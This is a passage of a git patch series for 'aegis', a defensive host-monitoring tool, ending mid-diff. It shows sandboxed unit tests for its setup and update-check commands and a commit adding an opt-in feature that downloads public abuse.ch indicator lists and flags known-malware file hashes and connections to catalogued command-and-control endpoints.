+- `update-check` exists because the README's "re-run install.sh after editing + aegis.py" is a warning nobody re-reads: the runtime copy at + ~/.aegis/aegis.py silently forks from the repo on every edit, and until now + nothing could detect it. +""" +import contextlib +import hashlib +import io +import json +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +import aegis # noqa: E402 + + +def _inventory(root): + """Every file under `root` with content hash AND mtime: 'mutates nothing' + means no file appeared, vanished, changed content, or was rewritten.""" + out = {} + for dirpath, _dirs, files in os.walk(root): + for name in files: + p = os.path.join(dirpath, name) + try: + with open(p, "rb") as f: + digest = hashlib.sha256(f.read()).hexdigest() + out[os.path.relpath(p, root)] = (digest, + os.stat(p).st_mtime_ns) + except OSError: + continue + return out + + +class SetupSandbox(unittest.TestCase): + """Redirect every state path setup/update-check can touch.""" + + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="aegis_setup_") + self.state = os.path.join(self.tmp, ".aegis") + self.canarydir = os.path.join(self.tmp, "Documents") + os.makedirs(self.state) + os.makedirs(self.canarydir) + self._saved = {} + overrides = { + "STATE_DIR": self.state, + "SELFSTATE": os.path.join(self.state, "selfstate.json"), + "CANARY_STATE": os.path.join(self.state, "canaries.json"), + "CANARY_DIRS": [self.canarydir], + "LATCH_FILE": os.path.join(self.state, "latches.json"), + "DECOY_FILE": os.path.join(self.state, "decoys.json"), + "GUARD_DIR": os.path.join(self.state, "guard"), + "GUARD_LOG": os.path.join(self.state, "guard", + "observations.jsonl"), + "AEGIS_CONFIG": os.path.join(self.state, "config.json"), + "HEARTBEAT_FILE": os.path.join(self.state, "heartbeat.json"), + "ACTION_LOG": os.path.join(self.state, "actions.jsonl"), + "RUN_LOG": os.path.join(self.state, "run.log"), + "BASELINE": os.path.join(self.state, "baseline.json"), + "ALLOWLIST": os.path.join(self.state, "allowlist.json"), + "EVENT_DB": os.path.join(self.state, "aegis.db"), + "RUNTIME_SCRIPT": os.path.join(self.state, "aegis.py"), + "_SELF_PATH": os.path.join(self.tmp, "repo", "aegis.py"), + } + for k, v in overrides.items(): + self._saved[k] = getattr(aegis, k) + setattr(aegis, k, v) + os.makedirs(os.path.join(self.tmp, "repo")) + with open(aegis._SELF_PATH, "w", encoding="utf-8") as f: + f.write("# fake repo aegis.py v2\n") + + def tearDown(self): + for k, v in self._saved.items(): + setattr(aegis, k, v) + import shutil + shutil.rmtree(self.tmp, ignore_errors=True) + + # -- scripted interactive harness --------------------------------------- + def _script(self, yes_when=(), lines=()): + """Drive the walkthrough: tty gate answers True, _ask_yn answers yes + only when the question contains one of `yes_when` (case-insensitive), + _ask_line pops from `lines`. Returns the recorder dict.""" + rec = {"questions": [], "lines_asked": []} + self._stub(aegis, "_setup_stdio_is_interactive", lambda: True) + + def fake_yn(question): + rec["questions"].append(question) + q = question.lower() + return any(w in q for w in yes_when) + + pending = list(lines) + + def fake_line(prompt): + rec["lines_asked"].append(prompt) + return pending.pop(0) if pending else "" + + self._stub(aegis, "_ask_yn", fake_yn) + self._stub(aegis, "_ask_line", fake_line) + return rec + + def _stub(self, obj, name, value): + saved = getattr(obj, name) + self.addCleanup(setattr, obj, name, saved) + setattr(obj, name, value) + + def _run_setup(self): + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_setup() + return rc, out.getvalue() + + +# --------------------------------------------------------------------------- # +# setup — interactivity gate +# --------------------------------------------------------------------------- # +class TestSetupRefusesAutomation(SetupSandbox): + + def test_non_tty_caller_is_refused_with_zero_mutation(self): + """Under pytest stdin is not a tty — exactly the automation case. The + refusal must come BEFORE any state is created or touched: a refusal + that first writes state is not a refusal.""" + before = _inventory(self.tmp) + rc, out = self._run_setup() + self.assertEqual(1, rc) + self.assertIn("interactive", out.lower()) + self.assertEqual(before, _inventory(self.tmp), + "a refused setup still mutated the sandbox") + + +# --------------------------------------------------------------------------- # +# setup — the walkthrough itself +# --------------------------------------------------------------------------- # +class TestSetupWalkthrough(SetupSandbox): + + def test_all_no_mutates_nothing(self): + """Default No everywhere means a user who reads and declines every + question ends with a byte-identical sandbox — opt-IN, structurally.""" + rec = self._script(yes_when=()) + before = _inventory(self.tmp) + rc, _out = self._run_setup() + self.assertEqual(0, rc) + self.assertEqual(before, _inventory(self.tmp), + "an all-No walkthrough mutated state") + self.assertTrue(rec["questions"], "the walkthrough asked nothing") + self.assertEqual([], rec["lines_asked"], + "free-text prompts must only follow a yes") + + def test_yes_to_canary_runs_the_real_canary_command(self): + """Orchestration, not reimplementation: a yes must leave exactly the + artifacts `aegis.py canary` leaves — the planted file with the real + canary content, and its hash recorded in CANARY_STATE.""" + self._script(yes_when=("canary",)) + rc, _out = self._run_setup() + self.assertEqual(0, rc) + planted = os.path.join(self.canarydir, aegis.CANARY_NAME) + self.assertTrue(os.path.isfile(planted), "no canary file was planted") + with open(planted, encoding="utf-8") as f: + self.assertEqual(aegis.CANARY_CONTENT, f.read()) + with open(aegis.CANARY_STATE, encoding="utf-8") as f: + self.assertIn(planted, json.load(f)) + + def test_second_run_reports_enabled_and_reruns_nothing(self): + """Idempotency: a tier already on is detected from its state, shown as + enabled, and NOT re-prompted or re-run. Pinned on the artifacts: the + second run leaves every file byte-and-mtime identical.""" + self._script(yes_when=("canary",)) + self._run_setup() + # Pre-seed latch state too: enabled-detection must not depend on the + # walkthrough having done the enabling itself. + aegis.save_json(aegis.LATCH_FILE, {"/x": {"mode": "uchg", "ts": 1}}) + + rec = self._script(yes_when=("canary", "latch")) # yes again — must not matter + before = _inventory(self.tmp) + rc, out = self._run_setup() + self.assertEqual(0, rc) + self.assertEqual(before, _inventory(self.tmp), + "an idempotent re-run rewrote state") + self.assertIn("[enabled] canary", out) + self.assertIn("[enabled] latch", out) + for q in rec["questions"]: + low = q.lower() + self.assertNotIn("canary", low, "re-prompted an enabled tier") + self.assertNotIn("latch", low, "re-prompted an enabled tier") + + def test_yes_to_heartbeat_stores_the_pasted_url_in_config(self): + """The one background egress is configured by pasting a URL the user + controls into config.json — no network call is made to 'verify' it.""" + self._script(yes_when=("heartbeat",), + lines=("https://hb.example/beat",)) + rc, _out = self._run_setup() + self.assertEqual(0, rc) + with open(aegis.AEGIS_CONFIG, encoding="utf-8") as f: + cfg = json.load(f) + self.assertEqual("https://hb.example/beat", cfg["heartbeat_url"]) + + def test_heartbeat_rejects_a_non_http_paste(self): + """A mistyped paste must not arm background egress to garbage.""" + self._script(yes_when=("heartbeat",), lines=("ftp://nope",)) + rc, _out = self._run_setup() + self.assertEqual(0, rc) + self.assertEqual({}, aegis.load_json(aegis.AEGIS_CONFIG, {})) + + def test_walkthrough_never_calls_authorize_interactive(self): + """setup's tty gate is a UX refusal, not a security gate — nothing it + orchestrates may consume the out-of-band authorization path, which + belongs to unlatch alone.""" + def boom(*_a, **_k): + raise AssertionError("setup reached authorize_interactive") + self._stub(aegis, "authorize_interactive", boom) + self._script(yes_when=("canary", "heartbeat"), lines=("",)) + rc, _out = self._run_setup() + self.assertEqual(0, rc) + + +# --------------------------------------------------------------------------- # +# update-check — runtime-copy drift +# --------------------------------------------------------------------------- # +class TestUpdateCheck(SetupSandbox): + + def _write(self, path, text): + with open(path, "w", encoding="utf-8") as f: + f.write(text) + + def test_not_installed_says_so_and_exits_zero(self): + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check() + self.assertEqual(0, rc) + self.assertIn("no runtime copy", out.getvalue().lower()) + + def test_in_sync_exits_zero(self): + with open(aegis._SELF_PATH, encoding="utf-8") as f: + self._write(aegis.RUNTIME_SCRIPT, f.read()) + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check() + self.assertEqual(0, rc) + self.assertIn("in sync", out.getvalue().lower()) + + def test_drift_exits_one_with_the_exact_refresh_line(self): + """The failure the command exists for: an edited repo file and a stale + runtime copy. The output must contain a runnable refresh command that + names the INVOKED file, preserving the recorded install mode so a + watch-mode install is not silently downgraded to scan mode.""" + self._write(aegis.RUNTIME_SCRIPT, "# OLD runtime copy v1\n") + aegis.save_json(aegis.SELFSTATE, {"installed": True, + "install_mode": "watch"}) + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check() + self.assertEqual(1, rc) + text = out.getvalue() + self.assertIn("STALE", text) + self.assertIn("%s install watch" % aegis._SELF_PATH, text) + + def test_refresh_line_defaults_to_scan_mode(self): + self._write(aegis.RUNTIME_SCRIPT, "# OLD runtime copy v1\n") + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check() + self.assertEqual(1, rc) + self.assertIn("%s install\n" % aegis._SELF_PATH, out.getvalue()) + + def test_doctor_surfaces_drift_as_a_problem(self): + """doctor is where rot surfaces: a stale runtime copy must degrade the + doctor verdict, not hide behind a command nobody runs.""" + self._write(aegis.RUNTIME_SCRIPT, "# OLD runtime copy v1\n") + home = os.path.join(self.tmp, "home") + for d in ("Downloads", "Desktop"): + os.makedirs(os.path.join(home, d)) + self._stub(aegis, "HOME", home) + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_doctor() + self.assertEqual(1, rc) + self.assertIn("STALE", out.getvalue()) + + def test_doctor_reports_in_sync_quietly(self): + with open(aegis._SELF_PATH, encoding="utf-8") as f: + self._write(aegis.RUNTIME_SCRIPT, f.read()) + home = os.path.join(self.tmp, "home") + for d in ("Downloads", "Desktop"): + os.makedirs(os.path.join(home, d)) + self._stub(aegis, "HOME", home) + out = io.StringIO() + with contextlib.redirect_stdout(out): + aegis.cmd_doctor() + self.assertIn("runtime copy", out.getvalue()) + self.assertNotIn("STALE", out.getvalue()) + + +# --------------------------------------------------------------------------- # +# update-check --remote — the by-hand network half +# --------------------------------------------------------------------------- # +class TestUpdateCheckRemote(SetupSandbox): + + def _fake_origin(self, url): + """A .git/config is enough: the derivation must work even where the + git binary is not on run()'s restricted PATH (Windows).""" + gd = os.path.join(self.tmp, "repo", ".git") + os.makedirs(gd, exist_ok=True) + with open(os.path.join(gd, "config"), "w", encoding="utf-8") as f: + f.write('[remote "origin"]\n\turl = %s\n\tfetch = ' + '+refs/heads/*:refs/remotes/origin/*\n' % url) + + def _stub_urlopen(self, body): + import urllib.request + calls = [] + + class _Resp: + def __enter__(self): + return self + + def __exit__(self, *a): + return False + + def read(self): + return body + + def fake_urlopen(url, timeout=0): + calls.append(url) + return _Resp() + + self._stub(urllib.request, "urlopen", fake_urlopen) + return calls + + def test_remote_fetches_exactly_the_stated_github_raw_url(self): + self._fake_origin("https://github.com/owner/repo.git") + with open(aegis._SELF_PATH, "rb") as f: + calls = self._stub_urlopen(f.read()) + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check(remote=True) + self.assertEqual(0, rc) + want = "https://raw.githubusercontent.com/owner/repo/HEAD/aegis.py" + self.assertEqual([want], calls, "fetched something other than the " + "stated canonical URL, or twice") + self.assertIn(want, out.getvalue(), "the fetched URL must be stated") + + def test_remote_mismatch_exits_one(self): + self._fake_origin("git@github.com:owner/repo.git") + calls = self._stub_urlopen(b"# different upstream bytes\n") + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check(remote=True) + self.assertEqual(1, rc) + self.assertEqual(1, len(calls)) + self.assertIn("DIFFERS", out.getvalue()) + + def test_no_github_origin_skips_the_fetch(self): + """A non-GitHub or missing origin must not guess a URL.""" + self._fake_origin("https://gitlab.example/owner/repo.git") + calls = self._stub_urlopen(b"") + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check(remote=True) + self.assertEqual(2, rc) + self.assertEqual([], calls, "fetched despite no GitHub origin") + + def test_plain_update_check_never_touches_the_network(self): + """The scan path never reaches this code at all, and even the by-hand + command without --remote must make zero network calls — the same + structural local-only guarantee as `vt`.""" + def boom(*_a, **_k): + raise AssertionError("update-check without --remote opened a URL") + import urllib.request + self._stub(urllib.request, "urlopen", boom) + self._write_runtime_stale() + out = io.StringIO() + with contextlib.redirect_stdout(out): + rc = aegis.cmd_update_check() + self.assertEqual(1, rc) + + def _write_runtime_stale(self): + with open(aegis.RUNTIME_SCRIPT, "w", encoding="utf-8") as f: + f.write("# OLD runtime copy v1\n") + + def test_urllib_import_is_lazy_inside_the_remote_branch(self): + """`import urllib.request` must sit inside cmd_update_check (the `vt` + pattern), so the scan path never even loads the networking module.""" + import inspect + src = inspect.getsource(aegis.cmd_update_check) + self.assertIn("import urllib.request", src) + + +if __name__ == "__main__": + unittest.main() From 77feb52bb4e1f0b65232a8d1dcb660a97e48f193 Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Tue, 11 Aug 2026 08:30:51 -0700 Subject: [PATCH 07/11] feat(aegis): opt-in community IOC intel layer (`aegis.py intel update|status`) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Generalizes glean's doctrine — a dated, offline intel corpus graded over work the scan already does — beyond Apple's XProtect corpus to every OS, using two public abuse.ch exports (MalwareBazaar recent SHA256s, ThreatFox recent IOCs). By-hand half (`intel update`, the only place urllib is even imported, exactly like vt): fetches both feeds with no key/account, normalizes to size-bounded artifacts under ~/.aegis/intel/ (atomic save_json, 0600/0700, fetched_at stamped). Hashes and ip:port pairs ONLY — the feeds' domains/URLs are never written. A failed or garbage fetch keeps the prior copy and says so; hostile feed shapes parse to nothing rather than raising. Scan half (offline, read-only, structurally network-free): when local intel exists, the persistence snapshot's program hashes plus any finding already carrying a sha256 (hot-dir drops, app bundles) are graded via a memoized local set lookup — an exact match is CRITICAL "Known-malware hash (community intel)" naming feed, family and first_seen. check_outbound grades each live remote ip:port against the C2 set before the signature-gated generic scorer — a listed endpoint is CRITICAL regardless of the binary's signature. No intel fetched ⇒ the "intel" sensor is absent, never degraded. `intel status` (plus one line in `status`) reports ages/counts and calls out >7-day staleness. Tests (11, fail-before captured on the unmodified base: AttributeError on every case): the structural mirror of the vt tests — a full sandboxed scan with urlopen/create_connection/getaddrinfo booby-trapped to explode completes and flags a planted matching hash CRITICAL; both feed formats parse from fixtures through a stubbed transport; garbage never raises and never clobbers prior data; non-matching and no-intel scans stay silent (sensor absent from health); a known-C2 outbound row scores CRITICAL; stale feeds are reported. Full suite: 682 tests OK (3 platform skips). Both live feeds verified end-to-end into a scratch state dir, then removed. Co-Authored-By: Claude Fable 5 --- README.md | 27 ++- aegis.py | 358 ++++++++++++++++++++++++++++++++++++++- tests/test_regression.py | 305 +++++++++++++++++++++++++++++++++ 3 files changed, 687 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 164c66d..6d535f3 100644 --- a/README.md +++ b/README.md @@ -202,6 +202,10 @@ python3 aegis.py replay [days] # backtest the CURRENT correlation logic against python3 aegis.py allow PATH # stop alerting on findings matching PATH python3 aegis.py vt PATH|SHA # OPT-IN VirusTotal reputation (BYO key; sends only # the hash, never the file; scan stays local-only) +python3 aegis.py intel update # OPT-IN community IOC feeds (abuse.ch; no key) — + # scans then grade their own hashes/ip:ports + # against the LOCAL copy, offline +python3 aegis.py intel status # feed ages + entry counts; stale (>7d) called out python3 aegis.py canary # plant ransomware canary/honeypot files (opt-in) python3 aegis.py canary remove # ...and remove them python3 aegis.py watchdog # dead-man's switch: exit non-zero + alert if the @@ -513,9 +517,11 @@ Not defensible, and not claimed: *"blocks malware."* A security tool sees everything, so it must be trustworthy *by construction*: - **Local-only on the scan/watch path *by default*** — out of the box the automatic monitor never phones home; no telemetry, no cloud. The only - network-touching feature you run **by hand** is `aegis.py vt` (VirusTotal + network-touching features you run **by hand** are `aegis.py vt` (VirusTotal reputation), which needs a key you supply and sends **only a hash, never a - file**; with no key the scanner never even imports the networking module. + file** — with no key the scanner never even imports the networking module — + and `aegis.py intel update`, which *downloads* two public IOC lists and + sends nothing at all; the scan only ever reads the local copy. The **one** background egress that exists is **off unless you deliberately turn it on**: the dead-man's-switch heartbeat (below) POSTs a small redacted liveness beat *only* if you set `AEGIS_HEARTBEAT_URL` or a `heartbeat_url` in @@ -576,6 +582,23 @@ A security tool sees everything, so it must be trustworthy *by construction*: **only the sha256, never the file bytes**, and the scan/watch path makes **zero** network calls regardless — off by default, so the local-only guarantee stays literally true. No key ⇒ the command explains how to add one and does nothing. +- ✅ **Community IOC intel — SHIPPED** as `aegis.py intel update|status`: an + **opt-in, by-hand** fetch of two public abuse.ch exports (MalwareBazaar + recent SHA256s, ThreatFox recent IOCs — no key, no account). What leaves the + machine: **nothing** (the request carries no payload about this host); what + arrives: a public IOC list, normalized and size-bounded under + `~/.aegis/intel/`. Scans then grade the sha256 hashes they **already + compute** (persistence programs, hot-dir drops) and live outbound `ip:port` + rows against the LOCAL copy — an exact hash match or a connection to a + listed C2 is CRITICAL with the malware family and first-seen date named. + This is `glean`'s doctrine (a dated, offline intel delta) generalized beyond + Apple's corpus to every OS. Off by default: with nothing fetched the surface + simply doesn't exist (absent, never a degraded sensor), the scan path stays + structurally network-free (`urllib` is imported only inside the fetch, + exactly like `vt`), and `intel status` calls out a copy staler than 7 days. + A failed refresh keeps the prior copy and says so; hostile/garbage feed data + parses to nothing rather than raising; the feed's domains/URLs are + deliberately not even written to disk — hashes and `ip:port` pairs only. - ✅ **Login-Item / SMAppService adapter — SHIPPED** via `sfltool dumpbtm`: when Apple exposes the inventory, a new Background Task Management item is diffed even without a `~/Library/LaunchAgents` plist. On macOS builds that require an diff --git a/aegis.py b/aegis.py index d9bb21a..6a3de92 100755 --- a/aegis.py +++ b/aegis.py @@ -251,6 +251,21 @@ VT_KEY_FILE = os.path.join(STATE_DIR, "vt_key") VT_API_URL = "https://www.virustotal.com/api/v3/files/" +# Community IOC intel (`aegis.py intel …`): normalized, size-bounded local +# artifacts under ~/.aegis/intel, written ONLY by the by-hand `intel update` +# command (public abuse.ch exports — no key, no account). The scan path READS +# these files and never fetches them: same doctrine as vt, network I/O exists +# only inside an explicit by-hand command with urllib lazily imported there. +INTEL_DIR = os.path.join(STATE_DIR, "intel") +INTEL_BAZAAR_FILE = os.path.join(INTEL_DIR, "malwarebazaar.json") +INTEL_THREATFOX_FILE = os.path.join(INTEL_DIR, "threatfox.json") +INTEL_BAZAAR_URL = "https://bazaar.abuse.ch/export/txt/sha256/recent/" +INTEL_THREATFOX_URL = "https://threatfox.abuse.ch/export/json/recent/" +INTEL_STALE_DAYS = 7 +INTEL_MAX_HASHES = 250000 # hard bound on stored/loaded entries (memory cap) +INTEL_MAX_NET = 50000 +INTEL_MAX_FETCH_BYTES = 32 * 1024 * 1024 + # --- Survivability: dead-man's switch + tamper-evidence ---------------------- # # A same-uid attacker can SIGKILL Aegis or `launchctl bootout` its agent and # blind every layer at once — silently (ATT&CK T1562.001). An unprivileged tool @@ -6362,7 +6377,11 @@ def check_outbound(): if key in seen: continue seen.add(key) - f = _outbound_finding(path, rip, rport) + # Community intel first (local set lookup): a known-C2 endpoint match + # is CRITICAL regardless of the binary's signature; only the rest + # falls through to the signature-gated generic scorer. + f = _intel_net_finding(path, rip, rport) or \ + _outbound_finding(path, rip, rport) if f: findings.append(f) return findings @@ -9006,6 +9025,13 @@ def gather_all(baseline_snap, current_snap, health=None): findings += _collect_sensor(sensor_id, fn, health_sink, *args) finally: _PROC_SNAPSHOT = None + # Community-intel grading (see cmd_intel) — a local set lookup over the + # hashes the sensors above already computed plus the persistence + # snapshot's. Scheduled only when local intel EXISTS: a machine that never + # ran `intel update` has no "intel" sensor at all (absent, not degraded). + if any(_intel_sets()): + findings += _collect_sensor("intel", check_intel, health_sink, + current_snap, findings) # Stamp the human-presence regime once per scan (not per finding — the # probe shells out, and paying that per finding would be absurd). This is # EVIDENCE ONLY and must stay that way: idle time is forgeable by a @@ -10007,6 +10033,8 @@ def cmd_status(): "✓" if _heartbeat_url() else "·", "Off-host heartbeat", "configured (out-of-band alerting on)" if _heartbeat_url() else "off (local-only; set AEGIS_HEARTBEAT_URL to enable)")) + intel_mark, intel_text = _intel_summary() + print(" %s %-32s %s" % (intel_mark, "Intel feeds", intel_text)) if os.path.exists(WATCHDOG_ALERT): try: with open(WATCHDOG_ALERT, encoding="utf-8") as f: @@ -10117,6 +10145,325 @@ def cmd_vt(target): return 0 +# --------------------------------------------------------------------------- # +# Community IOC intel (`aegis.py intel …`) — glean's doctrine generalized to +# every OS: a dated, offline intel corpus graded over work the scan ALREADY +# does. `intel update` is the by-hand fetch half (two public abuse.ch exports; +# nothing about this machine is in the request and nothing but a public list +# arrives); the scan half only ever READS the normalized local artifacts. With +# no fetched intel the surface simply does not exist — never a degraded +# sensor — and the scan path stays structurally incapable of network I/O. +# --------------------------------------------------------------------------- # + +_INTEL_CACHE = None # (file stat stamp, sha256→meta, "ip:port"→meta) + + +def _looks_like_ip_port(s): + return bool(re.fullmatch(r"\d{1,3}(?:\.\d{1,3}){3}:\d{1,5}", s or "")) + + +def _intel_str(v): + """Feed metadata sanitizer: a short non-empty string or nothing — a hostile + feed value can't smuggle structures into state files or finding text.""" + if isinstance(v, str) and v.strip(): + return v.strip()[:120] + return None + + +def _parse_bazaar_sha256_export(text): + """Pure parser: MalwareBazaar's plain-text SHA256 export (`#` comment + lines, one hash per line) → sorted, case-folded, deduplicated list. + Garbage lines are dropped, never raised on.""" + out = set() + for line in (text or "").splitlines(): + s = line.strip().strip('",') + if not s or s.startswith("#"): + continue + if _looks_like_sha256(s): + out.add(s.lower()) + if len(out) >= INTEL_MAX_HASHES: + break + return sorted(out) + + +def _parse_threatfox_export(data): + """Pure normalizer: ThreatFox's JSON export (dict of id → list of IOC + rows) → (sha256→meta, "ip:port"→meta). ONLY hashes and ip:port pairs are + kept — the feed's domains/URLs are deliberately not written anywhere (the + scan computes nothing they could match, and the privacy posture is to + store nothing it doesn't use). Never raises on garbage shapes.""" + hashes, net = {}, {} + if isinstance(data, dict): + groups = list(data.values()) + elif isinstance(data, list): + groups = [data] + else: + return hashes, net + for group in groups: + if not isinstance(group, list): + continue + for row in group: + if not isinstance(row, dict): + continue + val, typ = row.get("ioc_value"), row.get("ioc_type") + if not isinstance(val, str) or not isinstance(typ, str): + continue + meta = {"family": _intel_str(row.get("malware_printable") + or row.get("malware")), + "first_seen": _intel_str(row.get("first_seen_utc"))} + if typ == "sha256_hash" and _looks_like_sha256(val) \ + and len(hashes) < INTEL_MAX_HASHES: + hashes[val.lower()] = meta + elif typ == "ip:port" and _looks_like_ip_port(val) \ + and len(net) < INTEL_MAX_NET: + net[val] = meta + return hashes, net + + +def _intel_sets(): + """The local IOC sets as (sha256→meta, "ip:port"→meta), each meta + {feed, family, first_seen}. Reads LOCAL artifacts only; absent files ⇒ + empty maps. Memoized on the files' (mtime, size) so one scan — and every + lap of cmd_watch's long-lived loop — pays two stat() calls rather than a + reparse, while a by-hand `intel update` is picked up on the very next + scan. Entry caps and key re-validation bound memory even against a + tampered oversize or hand-edited artifact.""" + global _INTEL_CACHE + stamp = [] + for path in (INTEL_BAZAAR_FILE, INTEL_THREATFOX_FILE): + try: + st = os.stat(path) + stamp.append((path, st.st_mtime_ns, st.st_size)) + except OSError: + stamp.append((path, None, None)) + stamp = tuple(stamp) + if _INTEL_CACHE is not None and _INTEL_CACHE[0] == stamp: + return _INTEL_CACHE[1], _INTEL_CACHE[2] + hashes, net = {}, {} + + def adopt(mapping, target, cap, valid, feed): + if not isinstance(mapping, dict): + return + for key, meta in mapping.items(): + if len(target) >= cap: + return + if not (isinstance(key, str) and valid(key)): + continue + meta = meta if isinstance(meta, dict) else {} + target[key.lower()] = { + "feed": feed, "family": _intel_str(meta.get("family")), + "first_seen": _intel_str(meta.get("first_seen"))} + + doc = load_json(INTEL_BAZAAR_FILE, None) + if isinstance(doc, dict) and isinstance(doc.get("hashes"), list): + for h in doc["hashes"][:INTEL_MAX_HASHES]: + if isinstance(h, str) and _looks_like_sha256(h): + hashes[h.lower()] = {"feed": "MalwareBazaar", "family": None, + "first_seen": None} + doc = load_json(INTEL_THREATFOX_FILE, None) + if isinstance(doc, dict): + # ThreatFox meta wins on overlap: it names the family. + adopt(doc.get("hashes"), hashes, INTEL_MAX_HASHES, + _looks_like_sha256, "ThreatFox") + adopt(doc.get("net"), net, INTEL_MAX_NET, + _looks_like_ip_port, "ThreatFox") + _INTEL_CACHE = (stamp, hashes, net) + return hashes, net + + +def _intel_hash_finding(sha, path, where): + if not sha: + return None + meta = _intel_sets()[0].get(str(sha).lower()) + if meta is None: + return None + return finding( + "CRITICAL", "intel", "Known-malware hash (community intel)", + "%s is byte-identical to a sample on the %s IOC feed (%s, first seen " + "%s) — found as %s. An exact corpus hash match is not a heuristic: " + "verify the file and quarantine it." + % (path or sha, meta["feed"], meta.get("family") or "family " + "unrecorded", meta.get("first_seen") or "n/a", where), + "intel:hash:%s:%s" % (sha, path or "?"), + path=path, sha256=sha, feed=meta["feed"], family=meta.get("family"), + first_seen=meta.get("first_seen"), confidence="high", + markers=["known-malware"]) + + +def _intel_net_finding(path, rip, rport): + net = _intel_sets()[1] + if not net: + return None + meta = net.get("%s:%s" % (rip, rport)) + if meta is None: + return None + return finding( + "CRITICAL", "intel", + "Outbound connection to a known C2 (community intel)", + "%s holds a live connection to %s:%s, which is on the %s C2/IOC list " + "(%s, first seen %s). A current connection to a catalogued C2 " + "endpoint is an active-compromise signal regardless of the binary's " + "signature." % (path, rip, rport, meta["feed"], + meta.get("family") or "family unrecorded", + meta.get("first_seen") or "n/a"), + "intel:net:%s:%s:%s" % (rip, rport, path), + path=path, program=path, remote=rip, port=rport, feed=meta["feed"], + family=meta.get("family"), first_seen=meta.get("first_seen"), + confidence="high", markers=["outbound-exfil", "known-c2"]) + + +def check_intel(current_snap, prior_findings=None): + """Grade the sha256 values THIS scan already computed — every persistence + record's program hash plus any finding that carries one (hot-dir drops, + app bundles) — against the local community sets. Nothing is re-hashed and + nothing new is read from the filesystem: this is a set lookup over work + the scan already did, scheduled by gather_all only when local intel + exists.""" + findings, seen = [], set() + + def grade(sha, path, where): + f = _intel_hash_finding(sha, path, where) + if f and f["fingerprint"] not in seen: + seen.add(f["fingerprint"]) + findings.append(f) + + for key, rec in sorted((current_snap or {}).items()): + if isinstance(rec, dict): + grade(rec.get("sha256"), rec.get("program") or key, + "persistence item %s" % (rec.get("label") or key)) + for prior in (prior_findings or []): + if isinstance(prior, dict) and prior.get("sha256"): + grade(prior.get("sha256"), prior.get("path"), + "flagged by the %s sensor" % prior.get("category", "?")) + return findings + + +def _intel_fetch(url): + """Transport for `intel update` ONLY. urllib is imported lazily HERE — + exactly like cmd_vt — so the scan path never even loads the networking + module. The request carries nothing about this machine.""" + import urllib.request # lazy: the scan path never imports urllib + req = urllib.request.Request(url, headers={"User-Agent": "aegis-intel"}) + with urllib.request.urlopen(req, timeout=60) as resp: + return resp.read(INTEL_MAX_FETCH_BYTES) + + +def _intel_bazaar_doc(raw): + hashes = _parse_bazaar_sha256_export(raw.decode("utf-8", "replace")) + if not hashes: + return None, None + doc = {"feed": "MalwareBazaar", "source": INTEL_BAZAAR_URL, + "fetched_at": now_iso(), "count": len(hashes), "hashes": hashes} + return doc, "%d sample hashes" % len(hashes) + + +def _intel_threatfox_doc(raw): + hashes, net = _parse_threatfox_export( + json.loads(raw.decode("utf-8", "replace"))) + if not hashes and not net: + return None, None + doc = {"feed": "ThreatFox", "source": INTEL_THREATFOX_URL, + "fetched_at": now_iso(), "hashes": hashes, "net": net} + return doc, "%d hashes, %d ip:ports" % (len(hashes), len(net)) + + +def cmd_intel(action="status"): + """OPT-IN community IOC layer. `update` is the by-hand fetch half; scans + then grade their OWN hashes and outbound rows against the local copy, + offline. Anything else prints status.""" + ensure_state() + if action == "update": + return _cmd_intel_update() + if action == "status": + return _cmd_intel_status() + print("usage: aegis.py intel [update|status]") + return 1 + + +def _cmd_intel_update(): + os.makedirs(INTEL_DIR, mode=0o700, exist_ok=True) + try: + os.chmod(INTEL_DIR, 0o700) + except OSError: + pass + print("# Aegis intel update — public abuse.ch IOC exports (by hand, " + "no key)") + failures = 0 + for name, url, path, build in ( + ("MalwareBazaar", INTEL_BAZAAR_URL, INTEL_BAZAAR_FILE, + _intel_bazaar_doc), + ("ThreatFox", INTEL_THREATFOX_URL, INTEL_THREATFOX_FILE, + _intel_threatfox_doc)): + try: + doc, desc = build(_intel_fetch(url)) + if doc is None: + # A fetch that "succeeds" but parses to nothing is a format + # change or a truncated body — either way, NOT a reason to + # clobber a good prior copy with an empty one. + raise ValueError("no usable entries parsed (truncated " + "download or a feed format change)") + save_json(path, doc) + print(" ✓ %-14s %s" % (name, desc)) + except Exception as e: + failures += 1 + prior = load_json(path, None) + print(" ✗ %-14s failed (%s)%s" % ( + name, e, + " — keeping the prior copy (fetched %s)" + % prior.get("fetched_at") if isinstance(prior, dict) + else "; no prior copy to fall back on")) + log_run("intel update: %d/2 feeds ok" % (2 - failures)) + return 1 if failures else 0 + + +def _cmd_intel_status(): + print("# Aegis intel — community IOC feeds (local copies; the scan " + "never fetches)") + fetched = False + for name, path in (("MalwareBazaar", INTEL_BAZAAR_FILE), + ("ThreatFox", INTEL_THREATFOX_FILE)): + doc = load_json(path, None) + if not isinstance(doc, dict): + print(" · %-14s not fetched" % name) + continue + fetched = True + age = (time.time() - _epoch(doc.get("fetched_at"))) / 86400.0 + if name == "MalwareBazaar": + counts = "%d sample hashes" % len(doc.get("hashes") or []) + else: + counts = "%d hashes, %d ip:ports" % ( + len(doc.get("hashes") or {}), len(doc.get("net") or {})) + stale = age > INTEL_STALE_DAYS + print(" %s %-14s %s, fetched %.1f days ago%s" + % ("✗" if stale else "✓", name, counts, age, + " — STALE (>%dd; run `aegis.py intel update`)" + % INTEL_STALE_DAYS if stale else "")) + if not fetched: + print(" 